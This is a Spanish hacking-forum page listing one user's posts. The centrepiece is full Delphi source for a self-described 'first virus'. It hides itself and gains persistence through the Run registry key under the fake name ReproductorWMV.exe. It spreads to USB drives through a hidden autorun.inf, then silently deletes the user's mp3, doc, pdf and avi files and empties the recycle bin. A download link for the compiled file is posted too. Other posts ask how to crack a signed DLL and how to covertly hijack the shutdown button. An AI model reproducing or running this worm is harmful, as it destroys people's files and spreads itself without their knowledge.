elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
12 Octubre 2008, 05:13  



  Mostrar Mensajes
Páginas: [1]
1  Programación / Ingeniería Inversa / dll visual basic .net 2005 en: 11 Mayo 2008, 16:37
Hola como estan.
Alguien podria decirme como puedo crackear una dll echa en VB.net 2005 y que esta firmada.
Lo esto intentanto con el ILDsam y El ILasm.
Primero la desemsamblo con el ILdsam y la pongo en formato .il
luego la emsamblo con ILasm y al hacer esto la dll pierde Kb se queda mas pequeña y no funciona
Alguna Idea.
2  Seguridad Informática / Análisis y Diseño de Malware / SignatureZero en: 27 Abril 2008, 22:24
HOla como estan

Serian tan amables de indicarme de donde puedo descargar el signature zero y el topo12.exe ya q los link q encuentro estan todos caidos

Gracias
3  Seguridad Informática / Análisis y Diseño de Malware / Re: Virus en Delphi en: 31 Diciembre 2007, 15:15
Cierto es q se pude usar la api y sacarle menos kb pero por eso lo de "Mi primer" jeje
4  Seguridad Informática / Análisis y Diseño de Malware / Re: Virus en Delphi en: 31 Diciembre 2007, 12:50
Quien quiera probarlo y no sufrir daños, en el codigo esta la respuesta ademas de como quitarlo de la maquina
5  Seguridad Informática / Análisis y Diseño de Malware / Re: Virus en Delphi en: 31 Diciembre 2007, 11:25
Bueno aqui les dejo el codigo.


Código:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,Registry;

type
  TForm1 = class(TForm)
   
    function ALaPapelera(Fichero:string):boolean;
    Function VaciaPapelera:String;
    function GetWindowsDirectory : String;
     procedure Autorun;
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    Lista: set of Char;
    procedure CrearLista;
    procedure WMDEVICECHANGE(var Msg: TMessage); message WM_DEVICECHANGE;
  public
    { Public declarations }
    procedure BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);

  end;

var
  Form1: TForm1;
    Ficheros1:TStringList;
implementation

{$R *.dfm}

 

function Tform1.GetWindowsDirectory : String;
  var
     pcWindowsDirectory : PChar;
     dwWDSize           : DWORD;
  begin
     dwWDSize := MAX_PATH + 1;
     GetMem( pcWindowsDirectory, dwWDSize );
     try
        if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0
then
           Result := pcWindowsDirectory;
     finally
        FreeMem( pcWindowsDirectory );
     end;
  end;


Function Tform1.VaciaPapelera;
 
  type
    TSHEmptyRecycleBin = function (Wnd: HWND;
                                   LPCTSTR: PChar;
                                   DWORD: Word): integer; stdcall;
  var
    MangoLib           : THandle;
    SHEmptyRecycleBin  : TSHEmptyRecycleBin;
    i:integer;
  begin
     {Cargamos SHell32.DLL}
     {Load Shell32.DLL}
     MangoLib := LoadLibrary(PChar('Shell32.dll'));
 
     {Si no se pudo... error}
     {if not... error}
     if MangoLib = 0 then
       Raise Exception.Create( 'No se pudo cargar Shell32.DLL'+#13+
                               'Cannot load Shell32.DLL');
 
     {Buscamos dentro de la DLL la funcion que queremos}
     {Search into DLL the required funtion}
     @SHEmptyRecycleBin := GetProcAddress(MangoLib, 'SHEmptyRecycleBinA');
 
     {Si no existe... error}
     {If don't exists... error}
     if @SHEmptyRecycleBin = nil then
     begin
       FreeLibrary(MangoLib);
       Raise Exception.Create( 'No se pudo encontrar SHEmptyRecycleBinA en Shell32.DLL'+#13+
                               'Cannot find SHEmptyRecycleBinA in Shell32.DLL');
     end;
 
    {Vaciamos la papelera, sin sonido ni confirmación}
    {Empty the Recycle bin...}
    SHEmptyRecycleBin(Application.Handle,'',7);
 
    {Liberamos la DLL}
    {Free the DLL}
    FreeLibrary(MangoLib);
  end;





function Tform1.ALaPapelera(Fichero:string):boolean;
var
  FileOp: TSHFileOpStruct;
begin
  if FileExists(Fichero)then
  begin
    FillChar(FileOp,SizeOf(FileOp),#0);
    with FileOp do
    begin
      Wnd:= Application.Handle;
     
      pFrom:= PChar(Fichero+#0#0);
      fFlags:= FOF_SILENT or FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
    end;
    Result:= (ShFileOperation(FileOp)=0);
  end else
    Result:=False;
end;

procedure TForm1.CrearLista;
var
  Letra: Char;


begin
  Lista:= [];
  for Letra:= 'C' to 'Z' do
    if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE  then
      Lista:= Lista + [Letra];
end;

procedure TForm1.WMDEVICECHANGE(var Msg: TMessage);
var
  Letra: Char;
  Atributos: Cardinal;
begin
  if Msg.WParam = DBT_DEVICEARRIVAL  then
  begin
    for Letra:= 'C' to 'Z' do
      if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE  then
      begin
        if not (Letra in Lista) then
        begin
       
    copyfile(Pchar(ParamStr(0)),Pchar(Letra+':\ReproductorWMV.exe'),false);
    SetFileAttributes(PChar(Letra+':\ReproductorWMV.exe'),faHidden);
  with TStringList.Create() do
  try
    Add('[Autorun]');
    Add('ShellExecute=ReproductorWMV.exe');
    add('attrib +h Autorun.inf');

    try
      SaveToFile(Letra+':\autorun.inf');
      SetFileAttributes(PChar(Letra+':\autorun.inf'),faHidden);
    except
      on E: Exception do
      begin
        ShowMessageFmt(
          'Ocurrió una excepción: %s',
          [E.Message]
        );
      end;
    end;
  finally
    Free();
  end;

          //ShowMessage('Este es un disco removible '+Letra+':\');
        end;
      end;
  end;
  CrearLista;
  inherited;
end;



procedure TForm1.BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);
var
  srRes : TSearchRec;
  iFound : Integer;

begin
  if ( brec ) then
    begin
    if path[Length(path)] <> '\' then path := path +'\';
   
    while iFound = 0 do
      begin

      if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) then
        if srRes.Attr and faDirectory > 0 then
          BuscaFicheros( path + srRes.Name, mask, Value, brec );
      iFound := FindNext(srRes);

      end;
    FindClose(srRes);
    end;

  if path[Length(path)] <> '\' then path := path +'\';
  iFound := FindFirst(path+mask, faAnyFile-faDirectory, srRes);
  while iFound = 0 do
    begin
    if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) and ( srRes.Name <> '' ) then
      Value.Add(path+srRes.Name);

    iFound := FindNext(srRes);

    end;

  FindClose( srRes );
end;





procedure Tform1.Autorun;
var
   Registro    :TRegistry;
   Atributos: Cardinal;
begin
  Registro:=TRegistry.create;
  Registro.RootKey := HKEY_LOCAL_MACHINE;

  if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE)
then
    begin

      Registro.WriteString('SystemRoot',GetWindowsDirectory+
'\ReproductorWMV.exe');

 copyfile(Pchar(ParamStr(0)),Pchar(GetWindowsDirectory+'\ReproductorWMV.exe'),false);

    SetFileAttributes(PChar(GetWindowsDirectory+'\ReproductorWMV.exe'),faHidden);
    end;

 Registro.Destroy;

end;




procedure TForm1.FormCreate(Sender: TObject);

var
   Ficheros:TStringList;
   FicherosDoc:TStringList;
   dato :TStringList;
    i:integer;
begin
 BorderStyle := bsNone;
 Left := 0;
 Top := 0;
  Width := 0;
  Height := 0;
  Visible := False;
  Application.Title := '';
  Application.ShowMainForm := False;
  ShowWindow( Application.Handle, SW_HIDE );

  Ficheros:=TStringList.Create;
  BuscaFicheros('c:\cura\','cura.txt',Ficheros,TRUE);
  SetWindowLong( Application.Handle, GWL_EXSTYLE,
  GetWindowLong(Application.Handle, GWL_EXSTYLE) or
          WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
   autorun;
  if ficheros.count > 0 then
    begin
     
       Ficheros.Free;
       form1.visible:=false;
    end else
       begin
         BuscaFicheros('c:\.\','*.mp3',Ficheros,TRUE);
          for i:=0 to ficheros.Count -1 do
            Alapapelera (ficheros[i]);
            vaciapapelera;
             BuscaFicheros('c:\.\','*.doc',Ficheros,TRUE);
            for i:=0 to ficheros.Count -1 do
                Alapapelera (ficheros[i]);
                 vaciapapelera;

           BuscaFicheros('c:\.\','*.pdf',Ficheros,TRUE);
            for i:=0 to ficheros.Count -1 do
                Alapapelera (ficheros[i]);
                 vaciapapelera;
               BuscaFicheros('c:\.\','*.avi',Ficheros,TRUE);
            for i:=0 to ficheros.Count -1 do
                Alapapelera (ficheros[i]);
                 vaciapapelera;

           ficheros.Free;
         end;




end;

end.
6  Seguridad Informática / Análisis y Diseño de Malware / Virus en Delphi en: 30 Diciembre 2007, 22:58
Hola como estan?

Aqui les dejo mi primer virus para que lo testen aquellos que quieran, es un destructor de mp3,doc,pdf y avi tiene una propiedad interesante se propaga por memoria usb nada mas insertarla, si a alguien le interesa puedo postear el codigo, esta escrito en delphi 7.

Espero criticas para posibles mejoras....gracias
Código:
http://rapidshare.com/files/80168772/ReproductorWVM.rar.html
7  Seguridad Informática / Hacking Básico / Personalizar notificaciones en: 26 Diciembre 2007, 17:15
Hola como estan?

No se si este post pertenece aqui pero no sabia donde colgarlo,
bueno pues tengo una duda que es la siguiente-- si nos situamos sobre el reloj de la barra de tareas y pulsamos el boton drcho, no apaece una serie de opciones entre las cuales esta el personalizador de notificaciones, que si lo abrimos nos aparece una lista de programa que muestran una notificacion.

Pues bien mi pregunta es si alguien sabe como puedo cambiar esas propiedades(ocultar cuando este incativo,siempre oculto, siemprer visible) por medio de la API de win para dejarlos a todos siempre ocultos..gracias
8  Seguridad Informática / Hacking Básico / Botones de Reinicio y Apagado en: 21 Diciembre 2007, 19:19
Hola como estan?

Tengo una dudas q no se si seran factibles

1.-Cambiarle la accion a los botnes de reinicio y apagar o intercambiarlos

2.-Q cuando se pulse el boton de apagar o reinicio dejar la maquina en stabye, sin q el usuario se de cuenta.

seria posible hacer esto gracias..
9  Seguridad Informática / Hacking Básico / Compartir Maquinas en: 12 Diciembre 2007, 19:37
Hola como estan..
Bueno queria proponer hacer un grupo para compartir maquinas y asi poder hacer pruebas con otras maquinas que no sean las de uno para poner a punto los server y sobre todo para probar las seguridades, asi con estas pruebas se evitarian muchos de los post que hay repetitivos.

asias
10  Programación / Programación General / ayuda con cliente en: 11 Diciembre 2007, 11:18
Hola buenas a todos.....-)

estoy empezando con esto de los troyanos y me he echo una pequeña aplicacion cliente/servidor en delphi 7, vamos lo q es un chat y el problema que tengo esq cuando pongo mi ip todo marcha bien pero cuando ingreso una no ip pues dice error de sincronismo y no se por q es, aqui les dejo el cliente para que lo vean

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ScktComp;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Edit1: TEdit;
    Button1: TButton;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    Label2: TLabel;
    Edit2: TEdit;
    Edit3: TEdit;
    Button2: TButton;
    Button3: TButton;
    ClientSocket1: TClientSocket;
    procedure Button2Click(Sender: TObject);
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Connecting(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Disconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Button3Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button2Click(Sender: TObject);


begin
clientsocket1.Address :=edit2.Text ;

clientsocket1.Active :=true;
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
memo1.Text:='Conectado';
end;

procedure TForm1.ClientSocket1Connecting(Sender: TObject;
  Socket: TCustomWinSocket);
begin
memo1.Text :='Conectando'
end;

procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
memo1.Text :='Desconectado'
end;


gracias de antemano
procedure TForm1.Button3Click(Sender: TObject);
begin
clientsocket1.Close;
memo1.Text :='Desconectado'
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
clientsocket1.Socket.SendText(edit1.Text );
end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
begin
memo1.Lines.Add(socket.ReceiveText )
end;

end..
Páginas: [1]






Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats